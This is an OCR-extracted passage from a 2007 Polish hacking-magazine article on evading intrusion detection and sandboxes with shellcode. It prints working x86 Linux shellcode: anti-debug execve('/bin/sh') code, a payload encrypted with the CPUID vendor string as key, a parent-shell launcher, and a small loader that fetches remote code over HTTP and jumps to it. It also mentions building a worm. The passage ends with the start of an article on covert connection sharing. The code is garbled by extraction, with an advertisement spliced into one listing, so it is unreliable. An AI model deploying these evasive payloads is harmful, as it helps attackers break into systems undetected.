dzo istotny jest fakt, iż wspomniane
5 bajtów da się przekształcić w po-
prawne instrukcje asemblera. Ponie-
waż system skupia się na wychwy-
tywaniu kodów powłoki, niewątpliwie
weźmie w pierwszej kolejności pod
lupę właśnie te bajty i istnieje szan-
sa, że rozpozna je jako nagłówek po-
prawnego bądź uszkodzonego archi-
wum ZIP. Nawet jeśli system monito-
ringu nie jest w stanie rozpoznać for-
matu ZIP, to i tak uzyskamy pewną
przewagę, jako że bajty nagłówkowe
są rzadko używane w kodach powło-
ki, co uczyni nasze rozwiązanie trud-
niejszym do wykrycia.
Przy próbie podszywania się pod
taki czy inny format, powodzenie ata-
ku zależy prawie zawsze od głębo-
kości analizy przeprowadzanej przez
system monitorowania. Nie zawsze
też udaje się zrekonstruować dany
format w taki sposób, aby można go
było przetłumaczyć na poprawne in-
strukcje asemblera. Czasami też trud-
no jest w pełni odtworzyć z poziomu
kodu powłoki strukturę formatu. W re-
zultacie system monitorujący, który
szuka dostatecznie głęboko, będzie w
stanie zauważyć, że coś jest nie tak.
Przeglądając listę popularnych forma-
tów można zauważyć, że niektóre z
nic maja luźniejszą strukturę niż inne
– zarówno w odniesieniu do nagłówka
jak i do zawartości. Dobrymi kandyda-
tami są formaty reprezentujące dane
multimedialne – w szczególności w
postaci surowej (nie skompresowa-
nej). Formaty te są zazwyczaj bardzo
elastyczne i co ważne – na tyle popu-
larne, aby postrzegać je jako część ty-
powego ruchu w Sieci (Listing 5.).
Bitmapa (.BMP) jest surowym for-
matem do reprezentacji obrazu, który
jest wręcz idealną przykrywką dla ko-
du powłoki. Trik w tym przypadku po-
lega na tym, iż trudno wyobrazić sobie
system monitorowania, który potrafił-
by przewidzieć czy danych obraz jest
prawdziwy czy nie. Koncepcję tę moż-
na oczywiście stosować w odniesieniu
do innych formatów – dobrymi kandy-
datami są RIFF (.WAV) oraz Rich Text
(.RTF). Podstawowym ograniczeniem
przy stosowaniu tej techniki jest fakt,
że wszystkie bajty występujące w na-
główku formatu, który planujemy wy-
korzystać jako kamuflaż kodu powło-
ki muszą być prawidłowymi instruk-
cjami asemblera. W innym przypadku
wywołanie kodu powłoki zakończy się
błędem naruszania dostępu w trakcie
wykonania.
Ewolucja kontra
diagnozowanie w czasie
wykonania
Metoda tzw. diagnozowania w cza-
sie wykonania jest kolejnym często
stosowanym rozwiązaniem stoso-
wanym w systemach IDS oraz IPS.
Metoda ta jest zazwyczaj wykorzy-
stywana jako rozszerzenie mecha-
nizmu diagnozowania „po kablu”,
który omawiałem w jednym z po-
przednich punktów.
Kluczowym elementem opisywa-
nego w tym miejscu procesu jest ba-
danie efektów wykonania kodu, któ-
ry został sklasyfikowany jako po-
Listing 5b.
Formaty
push
$
0x6e69622f
mov
%
esp
,
%
ebx
push
%
edx
push
%
ebx
mov
%
esp
,
%
ecx
int
$
0x80
Listing 6.
Pułapka INT 3h
#
# (linux/x86) trik
anty
-
debugowy
(
INT
3
h
trap
)
+
execve
(
"/bin/sh"
,
[
"/bin/sh"
,
NULL
]
,
NULL
)
-
39
bajt
ó
w
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
#
# Program obsługi
sygna
ł
u
rejestru
push
$
0x30
popl
%
eax
push
$
0x5
popl
%
ebx
jmp
_evil_code
#
# Sprawdzenie debugera
_evilcode_loc
:
popl
%
ecx
int
$
0x80
int3
incl
%
eax
#
# Alternatywny strumień
przetwarzania
_evil_code
:
call
_evilcode_loc
#
# Prawdziwy kod powłoki
#
cdq
movb
$
0xb
,
%
al
push
%
edx
push
$
0x68732f2f
push
$
0x6e69622f
mov
%
esp
,
%
ebx
push
%
edx
push
%
ebx
pushl
%
esp
jmp
_evilcode_loc
hakin9 Nr 1/2007
www.hakin9.org
Atak
30
dejrzany (na przykład przy pomo-
cy metody diagnozowania „po ka-
blu”). Proces ten jest przeprowadzany
w tzw. piaskownicy (ang. Sandbox),
czyli w bezpiecznym, odizolowa-
nym środowisku – może być to dla
przykładu wirtualny lub realny ser-
wer, który przetwarza/wykonuje po-
dejrzany kod, śledząc przy okazji
każdy jego krok i zapisując wyniki
jego działania. Porównując te wyniki z
danymi wyjściowymi produkowanymi
przez inne kody powłoki można łatwo
wyłapać potencjalnie niebezpieczny
kod, zaś dzięki temu, że eksperymen-
ty przeprowadzane są w piaskownicy
atakujący nie jest w stanie dokonać
żadnych poważanych uszkodzeń.
Siłą tej metody jest jej aktyw-
ny charakter. W przypadku diagno-
zy „po kablu” bazujemy głównie na
predefiniowanych zasadach – tu-
taj zaś podejrzany kod uruchamia-
ny jest na symulowanym CPU co
pozwala wyłapywać aktywność ko-
dów powłoki na najniższym z moż-
liwych poziomów. Jako, że głównym
celem kodu powłoki jest uruchomie-
nie się na CPU atakowanego syste-
mu, piaskownica może bardzo łatwo
śledzić i notować tego typu zacho-
wania. Zmiany struktury kodu powło-
ki na poziomie bajtów nic w tym przy-
padku nie pomoże, gdyż kod taki czy
tak, czy siak ukaże swoją prawdziwą
twarz w momencie wywołania.
Nie debuguj mnie
Sztuczki anty-debugowe są bardzo
popularne w przypadku komercyj-
nych aplikacji Windows. Bazują one
na dołączaniu do docelowej aplika-
cji fragmentów kodu, które utrudniają
lub uniemożliwiają debugowanie lub
wsteczną inżynierię tychże aplikacji.
Oczywiście nie zakładamy, że atako-
wany system będzie działał w trybie
odpluskwiania więc można bezpiecz-
nie założyć, że osadzanie tego rodza-
ju wstawek do kodu powłoki nie bę-
dzie przeszkodą przy uruchomieniu
go na tym systemie. Tym co naprawdę
chcemy uzyskać jest wprowadzenie
chaosu do piaskownicy. Istnieje cała
gama trików anty-debugowych, przy
czym najciekawsze nie są wcale te,
które na ślepo blokują debugery, lecz
Listing 7.
Kolejność rejestracji kodu powłoki
#
# Rejestruj program obsługi sygnału
#
push
$
0x30
popl
%
eax
push
$
0x5
popl
%
ebx
jmp
_evil_code
...
_evilcode_loc
:
popl
%
ecx
int
$
0x80
...
_evil_code
:
call
_evilcode_loc
...
Listing 8.
Po uruchomieniu przerwania INT3 następuje docelowy test
#
# Sprawdzenie debugera
#
_evilcode_loc
:
...
int3
...
Listing 9.
Debuger zdejmuje wartość ze stosu i wartość EIP zwiększa
się o jeden
#
# Sprawdzenie debugera
#
_evilcode_loc
:
popl
%
ecx
int
$
0x80
int3
#
# Debugger przeniesie bieg programu w to miejsce!
#
incl
%
eax
_evil_code
:
call
_evilcode_loc
Listing 10.
Część kodu powłoki, która zostałaby uruchomiona w
sytuacji wywołania funkcji zwrotnej dla SIGTRAP
#
# Docelowy kod powłoki
#
cdq
movb
$
0xb
,
%
al
push
%
edx
push
$
0x68732f2f
push
$
0x6e69622f
mov
%
esp
,
%
ebx
push
%
edx
push
%
ebx
pushl
%
esp
jmp
_evilcode_loc
Ewolucja shellcodów
hakin9 Nr 1/2007
www.hakin9.org
31
te które pozwalają aplikacji stwierdzić
czy jest w trakcie debugowania – co
z kolei pozwala jej modyfikować swo-
je zachowania w zależności od odpo-
wiedzi na to pytanie.
Jeśli kod powłoki posiadałby
„świadomość” na temat tego, że zo-
stał uruchomiony w piaskownicy (lub
w środowisku debugującym), to mógł-
by wprowadzić program odpluskwia-
jący w błąd rozdzielając swój stru-
mień przetwarzania na dwie ścież-
ki – bezpieczną (zawierającą pełną
funkcjonalność) oraz niebezpieczną
(prowadzącą do wcześniejszego za-
kończenia). Patrz Listing 6.
Zaprezentowany kod powłoki im-
plementuje jeden z najbardziej pod-
stawowych trików anty-debugowych,
czyli pułapkę INT 3h. Uwięzienie po-
tencjalnego debugera polega na uru-
chomieniu przerwania 3H i ustawie-
nia programu obsługi sygnału (lub wy-
jątku) w kodzie powłoki. W rezultacie,
gdy kod powłoki działa w trybie odplu-
skwiania to przerwanie sprawi, że de-
buger się zatrzyma (INT 3h jest stan-
dardowym przerwaniem wykorzysty-
wanym przez debugery). Gdb debu-
ger zatrzyma się na kodzie, ustawi
EIP na punkt za kodem operacji INT
3h i (zakładając, że nie został prze-
konfigurowany), nie wywoła programu
obsługi zawartego w kodzie powłoki.
Kod umieszczony w procedu-
rze obsługi przerwania definiuje bez-
pieczną ścieżkę. Ścieżka niebez-
pieczna zawarta jest w sekcji na-
stępującej po kodzie operacji INT
3h. Dzięki temu, że większość inte-
raktywnych i praktycznie wszystkie
nie-interaktywne debugery nie dzie-
lą przerwania z aplikacją, kod powłoki
może tak zaplanować swój strumień
przetwarzania, aby ukryć swoje doce-
lowe przeznaczenie (Listing 7).
W pierwszej kolejności kod po-
włoki rejestruje program obsługi sy-
gnału dla SIGTRAP (INT3). Następ-
nie wykorzystuje wsteczne CALL aby
w trakcie wykonania pobrać lokację
kodu oznaczonego jako _evil_co-
de. Adres jest przekazany jako funk-
cja zwrotna do funkcji, której wywo-
łanie przeprowadzi scenariusz bez-
pieczny (zakładamy, że nie ma debu-
gera, który obserwuje strumień prze-
twarzania i kod powłoki może uru-
chomić swoją docelową funkcjonal-
ność). Patrz Listing 8.
Po
uruchomieniu
przerwa-
nia INT3 następuje docelowy test.
Program obsługi sygnału jest już zare-
jestrowany i wskazuje na _evil_code.
W tym punkcie kodu powłoki następu-
je rozdzielenie strumienia przetwarza-
nia, zaś wybór konkretnej ścieżki po-
dejmowany jest w zależności od wyni-
ku przerwania (Listing 9). W przypad-
ku jeśli debuger zdjął wartość ze stosu
i wartość EIP została zwiększona o je-
den (INT3 jest jedno-bajtowym kodem
operacji), do głosu dochodzi niebez-
pieczna ścieżka kodu. Rejestr EAX
został wyzerowany przez wywołanie
Listing 11.
Pętla dekodująca nie jest wymagana, tak jak w Listingu 10
#
#
(
linux
/
x86
)
execve
(
"/bin/sh"
,
[
"/bin/sh"
]
,
NULL
)
/
przexorowane
z
Intel
x86
CPUID
-
41
bajt
ó
w
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
#
# CPUID w celu załadowania klucza
#
xorl
%
eax
,
%
eax
cpuid
#
# Wrzuć na stos przexorowany ładunek (drugi kod powłoki)
#
pushl
%
ecx
pushl
$
0xeca895e7
pushl
$
0x3f377fde
pushl
$
0x8fec1a07
pushl
$
0x0e4a1c6e
pushl
$
0x04165b06
#
# Deszyfruj ładunek w odniesieniu do wartości CPUID
#
_unpack_loop
:
xorl
%
ecx
,
(%
esp
)
popl
%
edx
jnz
_unpack_loop
#
# Przeskocz do odszyfrowanego kodu powłoki
#
subl
$
0x18
,
%
esp
pushl
%
esp
ret
Listing 12.
Kod operacji CPUID
#
# CPUID do wczytania--
Marta
Ogonek
Product
manager
of
hakin9
Hard
Core
IT
Security
magazine
www
.
en
.
hakin9
.
org
Software
Wydawnictwo
Sp
.
z
o
.
o
Piaskowa
3
,
01
-
067
Warsaw
,
Poland
Phone
:
+
4822
887
14
57
Fax
:
+
4822
887
10
11
the
key
#
xorl
%
eax
,
%
eax
cpuid
...
hakin9 Nr 1/2007
www.hakin9.org
Atak
32
systemowe
signal()
. Debuger kon-
tynuuje przetwarzanie od INT3, dalej
zwiększa wartość EAX o jeden (war-
tość ta reprezentuje teraz wywołanie
systemowe EXIT) i kończy wywołując
kod oznaczony
_ evilcode _ loc
, gdzie
dzięki instrukcji INT $0x80 tożsamej z
wywołaniem systemowym
exit()
kod
powłoki kończy swoje działanie. Zo-
baczmy co by się działo gdyby nie by-
ło debugera (Listing 10.).
Przedstawiony kod reprezentuje
tę część kodu powłoki, która zosta-
łaby uruchomiona w sytuacji wywo-
łania funkcji zwrotnej dla SIGTRAP.
Jeśli do tego dojdzie, kod powłoki za-
atakuje system wywołując /bin/sh.
Korzystając z koncepcji wykony-
wania w locie testów, które pozwalają
na to by kod powłoki uzyskał wiedzę
odnośnie natury środowiska w jakim
jest on uruchamiany, możemy znacz-
nie zwiększyć prawdopodobieństwo
jego przebrnięcia przez Sieci typu Ho-
neypot, piaskownice lub aplikacje mo-
nitorujące. Główną zaletą takiego po-
dejścia jest ochrona przez potencjal-
nym zdemaskowaniem.
Miażdżenie na CPU
Kryptografia jest rozwiązaniem które
wybiera się zazwyczaj gdy chcemy za-
pewnić, aby w przypadku przechwyce-
nia naszych danych przez zewnętrzny
podmiot, dane te były niemożliwe do
odczytania. Jednakże aby uzyskać ta-
ki efekt, strony które planują przesyłać
sobie zaszyfrowane informacje mu-
szą uzgodnić i wymienić określony,
tajny klucz. Wymiana taka nie wcho-
dzi w grę gdy próbujemy infiltrować
atakowany system wbrew jego woli.
Tajne porozumienie bez wy-
miany kluczy znane jest pod na-
zwą metody wczesnego dziele-
nia kluczy (ang. pre-shared key
method). Idea tej metody polega na
tym, że obydwie strony używają zna-
nego z góry, tego samego klucza,
dzięki czemu nie muszą przeprowa-
dzać procesu wymiany. Znając taki
klucz można by zaszyfrować nim kod
powłoki, dzięki czemu byłby on zdeko-
dowany dopiero na docelowej maszy-
nie, bezpiecznie omijając wszelkie-
go rodzaju piaskownice. Kod powło-
ki może uzyskać dostęp do niemal-
Listing 13.
Kod operacji CPUID daje nam dostęp do pożądanej
informacji
#
# Wrzuć na stos przexorowany
ł
adunek
(
drugi
kod
pow
ł
oki
)
#
pushl
%
ecx
pushl
$
0xeca895e7
pushl
$
0x3f377fde
pushl
$
0x8fec1a07
pushl
$
0x0e4a1c6e
pushl
$
0x04165b06
Listing 14.
Deszyfrowanie kodu
#
# Deszyfruj ładunek
w
odniesieniu
do
warto
ś
ci
CPUID
#
_unpack_loop
:
xorl
%
ecx
,
(%
esp
)
popl
%
edx
jnz
_unpack_loop
#
# Przeskocz do
odszyfrowanego
kodu
pow
ł
oki
#
subl
$
0x18
,
%
esp
pushl
%
esp
ret
Listing 15a.
Sprawdzanie w czasie wykonania, która powłoka jest
dostępna
#
#
(
linux
/
x86
)
getppid
()
+
execve
(
"/proc/<pid>/exe"
,
[
"/proc/<pid>/exe"
,
NULL
])
-
51
bajt
ó
w
# - izik@tty64.org
#
# * podziękowania dla pR za pętlę _convert ;-)
#
.
section
.
text
.
global
_start
_start
:
#
# Kto jest twoim rodzicem?
#
push
$
0x40
popl
%
eax
int
$
0x80
#
# Zamień INT na ASCII
#
_convert
:
decl
%
esp
cdq
pushl
$
0xa
popl
%
ebx
divl
%
ebx
addb
$
0x30
,
%
dl
Ewolucja shellcodów
hakin9 Nr 1/2007
www.hakin9.org
33
że każdej globalnej zmiennej lub da-
nej systemowej. Niektóre z takich in-
formacji mogą być pozyskane jesz-
cze przed rozpoczęciem ataku. Ta-
ki rodzaj koordynacji pozwala na za-
stosować model PSK (ang. Pre-Sha-
red Key).
Użycie kodu podobnego jak w
przypadku pokazanego wcześniej en-
kodera, rozszerzonego o procedurę
kryptograficzną i mechanizm wydoby-
wania klucza jest podstawą do stwo-
rzenia szyfrowanego kodu powłoki.
Ten kod powłoki jest podob-
ny do kodu powłoki w wersji enko-
dowanej. Jednakże w tym przypad-
ku pętla dekodująca nie jest wyma-
gana, tak jak to było w pokazanym
wcześniej przykładzie. Współdzielo-
nym sekretem jest tutaj nazwa pro-
ducenta procesora (np. Intel) – ten
właśnie napis będzie wykorzysta-
ny zarówno do zaszyfrowania jak
i odszyfrowania go na docelowej
maszynie przed uruchomieniem.
Oznacza to, że użycie jako PSK
nazwy innego producenta dałoby w
wyniku niepoprawny kod, całkowi-
cie nieprzydatny z punktu widzenia
analizy. Przykład z nazwą producen-
ta procesora pokazuje jak łatwo pod-
miot atakujący może zebrać dane po-
trzebne do przeprowadzenia tego ty-
pu działania. W tym przypadku infor-
mację tę można uzyskać z poziomu
asemblera przy użyciu kodu operacji
CPIUD (Listing 12).
Kod operacji CPUID daje nam
dostęp do pożądanej informacji.
W pierwszej fazie zaszyfrowany kod
powłoki jest wrzucony na stos (po-
dobnie jak w przypadku omawiane-
go wcześniej enkodera/dekodera).
Patrz Listing 13.
Kiedy zaszyfrowany kod powło-
ki jest już umieszczony na stosie to
należy wziąć się za jego odszyfro-
wanie wykorzystując do tego odpo-
wiedź pozyskaną z CPUID. Nieste-
ty nie posiadamy żadnej kontroli nad
tym procesem – tak samo jak nie
jesteśmy w stanie zweryfikować
powodzenia tego przedsięwzięcia.
Jeśli CPIUD zwrócił nazwę inne-
go producenta niż się spodziewali-
śmy (np. AMD) to w wyniku otrzy-
mamy bezużyteczne asemblerowe
Listing 15b.
Sprawdzanie w czasie wykonania, która powłoka jest
dostępna
movb
%
dl
,
(%
esp
)
testl
%
eax
,
%
eax
jnz
_convert
cdq
#
# Uruchom [/proc/
<pid>
/exe]
#
popl
%
ebx
pushl
%
edx
pushl
$
0x6578652f
pushl
%
ebx
pushl
$
0x2f636f72
pushl
$
0x702f2f2f
movb
$
0xb
,
%
al
movl
%
esp
,
%
ebx
pushl
%
edx
pushl
%
ebx
movl
%
esp
,
%
ecx
int
$
0x80
Listing 16.
Wpis domyślny
#
# Kto jest twoim rodzicem?
#
push
$
0x40
popl
%
eax
int
$
0x80
Listing 17.
Przekształcenie funkcji getppid() do postaci ASCI
#
# Zamień INT na ASCII
#
_convert
:
decl
%
esp
cdq
pushl
$
0xa
popl
%
ebx
divl
%
ebx
addb
$
0x30
,
%
dl
movb
%
dl
,
(%
esp
)
testl
%
eax
,
%
eax
jnz
_convert
cdq
Listing 18.
Wywołanie systemowe execve()
#
# Uruchom [/proc/
<pid>
/exe]
#
popl
%
ebx
pushl
%
edx
pushl
$
0x6578652f
pushl
%
ebx
pushl
$
0x2f636f72
pushl
$
0x702f2f2f
movb
$
0xb
,
%
al
movl
%
esp
,
%
ebx
pushl
%
edx
pushl
%
ebx
movl
%
esp
,
%
ecx
int
$
0x80
hakin9 Nr 1/2007
www.hakin9.org
Atak
34
śmieci, które przy próbie wykonania
najprawdopodobniej spowodują po-
wstanie wyjątku (Listing 14).
Po zakończeniu deszyfrowania
pozostaje wykonać skok do docelowej
sekcji kodu powłoki. To czy we wspo-
mnianej sekcji znajdują się właściwe
instrukcje zależy od tego czy trafili-
śmy na właściwą nazwę producenta
procesora. W każdym innym przypad-
ku wywołanie wynikowego kodu za-
kończy się powstaniem wyjątku.
Rozwiązania bazujące na przed-
stawionej koncepcji można oczywi-
ście modyfikować, na przykład wy-
korzystując inną nazwę producenta
(chociażby AMD).
Ewolucja kontra
kustomizacja
Jak dotąd dyskutowane prze-
szkody pojawiające się na drodze
kodów powłoki były związane
z występowaniem takich mecha-
nizmów ochronnych jak NIDS czy
IPS. Jednakże w wielu przypadkach
– szczególnie w kontekście ataków
skierowanych przeciwko rozbudo-
wanym organizacjom, pojawiają się
problemy wynikające z właściwo-
ści atakowanego systemu. Na przy-
kład, jednym z podstawowych błę-
dów przy projektowaniu kodów powło-
ki jest wstawianie wartości ustawio-
nych na stałe – odnosi się to przede
wszystkim do napisu /bin/sh. Problem
w tym, że wcale nie ma gwarancji, że
program sh znajduje się w katalogu
bin; co więcej – katalog bin wcale nie
musi istnieć w atakowanym systemie.
Oczywiście w większości przypadków
(powiedzmy, że około 80%) atak za-
pewne się powiedzie, jednakże dla
pozostałych 20% wywołanie syste-
mowej funkcji
execuve()
zakończy się
niepowodzeniem mimo tego, że kod
powłoki udało się uruchomić. W rze-
czywistości kustomizacja jest czynni-
kiem, który należy na poważnie wziąć
pod uwagę przy projektowaniu kodów
powłoki. Praktyka ta jest powszechnie
stosowana zarówno wśród systemów
z rodziny Linux jak i BSD i wynika z
dużej różnorodności dystrybucji oraz
łatwości w dopasowywaniu struktury
systemu, dzięki której administratorzy
oraz zaawansowani użytkownicy są w
stanie w pełni dopasować ją w odnie-
sieniu do własnych potrzeb i preferen-
cji. Zjawisko kustomizacji jest również
prawie zawsze spotykane w przypad-
ku systemów osadzonych oraz dedy-
kowanych.
Podążam za rodzicem!
Sprawdzanie w czasie wykonania,
która powłoka jest dostępna, da-
je kodowi powłoki szansę na obej-
ście problemu związanego z kusto-
mizacją. Jednym ze sposobów, któ-
re można w tym celu wykorzystać
(w odniesieniu do systemu Linux)
jest przeglądanie hierarchii proce-
sów. Jeśli przyjrzymy się bliżej tej
hierarchii to zauważymy pewną
prawidłowość – otóż dla zakresów
głębokości od 0 do 3 proces ma-
cierzysty jest zazwyczaj powłoką.
Jedynym wyjątkiem odnośnie tej
reguły jest proces initd, który uru-
chamia samo jądro.
Do sprawdzenia kto jest rodzicem
kodu powłoki wystarczy proste wywo-
łanie
getppid()
, które zwróci identyfi-
kator PID jego procesu macierzyste-
go. Identyfikator ten jest kluczem, któ-
rego kod powłoki użyje później w ce-
lu zbadania wpisu /proc powiązanego
ze swoim rodzicem. Wpis ten zwiera
informacje na temat ścieżki pliku wy-
konywalnego oraz argumentów wy-
wołania przekazanych przy jego uru-
chomieniu. Domyślnie wpis ten jest
dostępny dla każdego procesu (Li-
sting 16).
Funkcja
getppid()
zwraca war-
tość będącą liczbą całkowitą (ang.
integer). Do naszych celów war-
tość tę trzeba będzie przekształcić
do postaci ASCI. Potrzeba ta wy-
nika z faktu, iż zwrócony PID misi
być wstawiony do napisu określa-
jącego ścieżkę (np. /proc/<pid>/
exe). Ścieżka ta określa plik wy-
konywalny macierzystego proce-
su (Listing 17.). Mając wartość
getppid()
w postaci ASCII pozo-
staje jedynie przekazać ją do wy-
wołania systemowego
execve()
.
W rezultacie otrzymaliśmy dość
uogólniony program do uruchamiania
powłoki, gdzie jedyną zabitą na stałe
wartością jest napis /proc, który w naj-
bliższym czasie raczej się nie zmieni.
Listing 19.
Przykładowy loader
#
# (x86/linux) HTTP/1.x GET,
Pobieranie
i
wywo
ł
ywanie
operacji
JMP
-
68
+
bajt
ó
w
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
push
$
0x66
popl
%
eax
cdq
pushl
$
0x1
popl
%
ebx
pushl
%
edx
pushl
%
ebx
pushl
$
0x2
movl
%
esp
,
%
ecx
int
$
0x80
popl
%
ebx
popl
%
ebp
movl
$
0xfeffff80
,
%
esi
movw
$
0x1f91
,
%
bp
#
# nie %bp, dla numerów portów
< 256
#
notl
%
esi
pushl
%
esi
bswap
%
ebp
orl
%
ebx
,
%
ebp
pushl
%
ebp
incl
%
ebx
pushl
$
0x10
pushl
%
ecx
pushl
%
eax
movb
$
0x66
,
%
al
movl
%
esp
,
%
ecx
int
$
0x80
_gen_http_request
:
#
# < wykorzystaj gen_httpreq.c,
w celu wygenerowania
żądania HTTP GET.
>
#
_gen_http_eof
:
movl
%
esp
,
%
ecx
_send_http_request
:
movb
$
0x4
,
%
al
int
$
0x80
_recv_http_request
:
movb
$
0x3
,
%
al
pushl
$
0x1
popl
%
edx
int
$
0x80
incl
%
ecx
testl
%
eax
,
%
eax
jnz
_recv_http_request
_jmp_to_code
:
subl
$
0x6
,
%
ecx
jmp
*%
ecx
Jeszcze jedną kwestią nad
którą warto się zastanowić to pro-
blem pojedynczo i wielowątkowych
demonów. Aby zastosować omawia-
ną metodę dla procesów powsta-
łych na bazie
fork()
-owania należa-
łoby zastosować rekurencyjną pro-
cedurę przetwarzania drzewa rodzi-
ców. W przypadku demonów jedno-
wątkowych potrzeba taka nie wystę-
puje. Kod powłoki pokazany powyżej
odnosi się właśnie do demonów jed-
nowątkowych.
Ewolucja kontra
Ograniczenia
Różne scenariusze ataku narzucają
różne ograniczenia: na przykład po-
szczególne protokoły operują na bu-
forach o różnej długości itd. Z tego
względu kody powłoki powinny mieć
możliwość dopasowania się do ota-
czającego je aktualnie środowiska.
Najbardziej popularne ograniczenie
związane jest z limitem wielkości ko-
du. Istnieje oczywista korelacja po-
między poziomem funkcjonalności
kodu powłoki a jego wielkością. Z lo-
gicznego punktu widzenia, im bardziej
złożona jest wspomniana funkcjonal-
ność, tym więcej będzie potrzeba ko-
dów operacji w celu jej zaimplemen-
towania. Aby móc budować bardziej
sprytne i zaawansowane rozwiąza-
nia problem wielkości musi być prze-
zwyciężony. W innym przypadku nasz
super-inteligentny kod powłoki będzie
odrzucony na poziomie protokołu i ca-
ła nasza praca pójdzie na marne.
Podział na fazy
Dzielenie każdej logicznej operacji na
mniejsze zadania pozwala tworzyć
potoki. Ta ogólna zasada działa rów-
nie dobrze w odniesieniu do kodów
powłoki. Jeśli kod taki nie może prze-
prowadzić pełnego ataku jednorazo-
wo, to powinien być pobrany przez in-
ny, mniejszy kod powłoki. W tej sytu-
acji, zamiast budowania jednego kodu
powłoki, który robi wszystko na-
raz, warto podzielić funkcjonalność
na główną logikę oraz jej wczyty-
wanie. Za wczytywanie będzie od-
powiadał mniejszy kod powłoki
którego podstawowym zadaniem bę-
dzie uruchomienie kodu docelowego.
Mając taki zewnętrzny loader może-
my wczytywać większe i bardziej za-
awansowane kody powłoki nie mar-
twiąc się o ich rozmiar.
Listing 19 przedstawia przy-
kładowy loader. Potrafi on pobrać
binarny kod powłoki z zadanego URL
a następnie wpisać go do bufora
i wykonać do niego skok. Po skróce-
niu kod loadera zajmuje jedynie 68
bajtów, aczkolwiek mimo to potrafi ko-
munikować się z dowolnym serwerem
HTTP działającym na bazie protoko-
łów HTTP/1.0 oraz HTTP/1.1. Pobra-
ny kod jest dla odmiany wolny od ja-
kichkolwiek limitów (na przykład dłu-
gości czy zakazu występowania zna-
ku
NULL
). Oczywiście sam loader tym
limitom nadal podlega.
Prezentowane podejście mo-
że być bardzo przydatne przy au-
tomatyzacji testów penetracyjnych.
Dla przykładu, można by się po-
kusić o niewielki serwer, który bę-
dzie wychwytywał potwierdzenia o
udanych włamaniach do systemów
na zasadzie obserwowania żądań
wysyłanych przez loader. Po wpro-
wadzeniu kilku modyfikacji loader
mógłby zbierać i wysyłać informacje
identyfikacyjne na temat atakowa-
nego systemu dzięki czemu serwer
mógłby wybrać i odesłać kod powło-
ki najbardziej adekwatny do zadanej
konfiguracji. Rozwijając tę koncep-
cję można by również zaimplemen-
tować samo-rozprzestrzeniającego
się robaka.
W przypadku tego konkretne-
go kodu powłoki zastosowałem na-
rzędzie zwane gen_httpreq.c, które
pozwala łatwo wygenerować na ba-
zie zadanego URL napis zawierają-
cy żądanie HTTP.
Podsumowanie
W powyższym tekście pokaza-
łem pewne czynniki oraz przeszko-
dy wpływające na strukturę i spo-
sób działania kodów powłoki. Niejako
z definicji temat nie został wyczerpa-
ny, jako że kody powłoki to technolo-
gia ciągle ewoluująca. Cel tej ewolucji
jest za to niezmienny: przeprowadzać
udane ataki bez bycia zauważonym.
http://www.tty64.org/code/shellcodes/
archiwum źródeł kodów powłoki
l
www.hakin9.org
www.hakin9.org
hakin9 Nr 1/2007
36
Obrona
A
nie można jeszcze prościej? Jakiś
czas temu opublikowaliśmy w „Ha-
kin9u” sążnisty artykuł na temat de-
tekcji nielegalnego podziału łącza interneto-
wego (Mariusz Tomaszewski, Maciej Szmit,
Marek Gusta, „Sprzątanie pajęczyn – detek-
cja nielegalnego współdzielenia łącza”, „Ha-
kin9” nr 2/2005 str. 10-18, dostępny w wersji
on line http://www.haking.pl/pl/attachments/
lacze_pl.pdf). Konkluzja była mniej więcej
taka, że „pajęczarze” posługują się rozwią-
zaniami III warstwy modelu ISO/OSI (NAT
ze wszystkimi jego odmianami) i znacznie
trudniejszymi do wykrycia proxy (IV warstwy
– tzw. pośrednikami obwodowymi i VII war-
stwy – proxy aplikacyjnymi). Ale jak się oka-
zuje, można jeszcze prościej. Wystarczy,
że zdolny użytkownik nada po prostu dwóm
komputerom ten sam adres MAC i ten sam
adres IP, a następnie podepnie je do huba,
który z kolei podłączy do swojego „wyjścia
na świat” (Rysunek 1).
Oczywiście – jeśli komputery pracować
będą pod kontrolą ulubianego (przez wie-
lu) systemu operacyjnego – pojawiły się ko-
munikaty o zduplikowanym adresie IP. Ko-
munikaty te biorą się stąd, że Windows w
momencie uruchomienia interfejsu siecio-
wego (a dokładniej – nadania mu numeru
IP) sprawdza za pomocą kilku zapytań ARP-
request o własny adres, czy w Sieci nie ma
innego komputera o tym samym IP. Zapy-
tania te zdolny użytkownik może usunąć
ustawiając w rejestrze wartość klucza:
HKLM\
SYSTEM\CurrentControlSet\Services\Tcpip\
Parameters\ArpReplyCount na zero
Huby w pajęczynach
i złośliwe m-routery
Maciej Szmit
Mariusz Tomaszewski
stopień trudności
Im dłużej zajmujemy się komputerami tym mocniej wierzymy
w krasnoludki, Babę Jagę oraz liczne mniej lub (częściej)
bardziej złośliwe chochliki. Właściwie nawet nie nie tak: nie tylko
wierzymy, ale poznajemy ich zwyczaje, sympatie i antypatie,
a czasami nawet okoliczności, w jakich przychodzą na świat.
No bo wyobraźcie sobie tylko...
Z artrykułu dowiesz się...
• o dość nietypowej metodzie współdzielenia łą-
cza internetowego,
• o problemach z wykrywaniem ARP-spoofingu,
które może spowodować,
• nietypowa konfiguracja linuksa,
• o nietypowej obsłudze ramek grupowych przez
niektóre urządzenia sieciowe.
Powinieneś wiedzieć...
• co to jest ARP-spoofing,
• do czego służy protokół ICMP,
• czym się różni switch od huba.
Huby w pajęczynach i złośliwe m-routery
hakin9 Nr 1/2007
www.hakin9.org
37
W konsekwencji komunikaty
o zduplikowanym adresie przesta-
ną się pojawiać.
Ponadto na obydwu maszynach
trzeba uruchomić personalne fire-
walle (my wykorzystaliśmy do tego
celu program ZoneAlarm) po to, aby
ustawić porty w nieznany z RFC stan
stealth (port ukryty). Te zabiegi przy-
niosą oczekiwany skutek – na obu
komputerach można spokojnie sur-
fować sobie po Internecie, a że infor-
macja wysyłana do jednego trafiała
również do drugiego? No cóż – taka
już przecież jest natura huba ;)
Spróbujmy prześledzić to roz-
wiązanie nieco poważniej – segmen-
ty TCP generowane przez pierwszy
komputer (dajmy na to segment na-
wiązania połączenia TCP SYN)
– trafiały oczywiście do adresata,
który wysyłał w odpowiedzi swoją
odpowiedź (dajmy na to SYN+ACK)
pod adres naszego komputera.
Oczywiście odpowiedź ta trafiała
do obu maszyn, przy czym druga
z nich powinna (zakładając, że nie
trafi się nieprawdopodobna sytuacja
„trafienia” w otwarty port, z którego
komputer właśnie wysłał segment
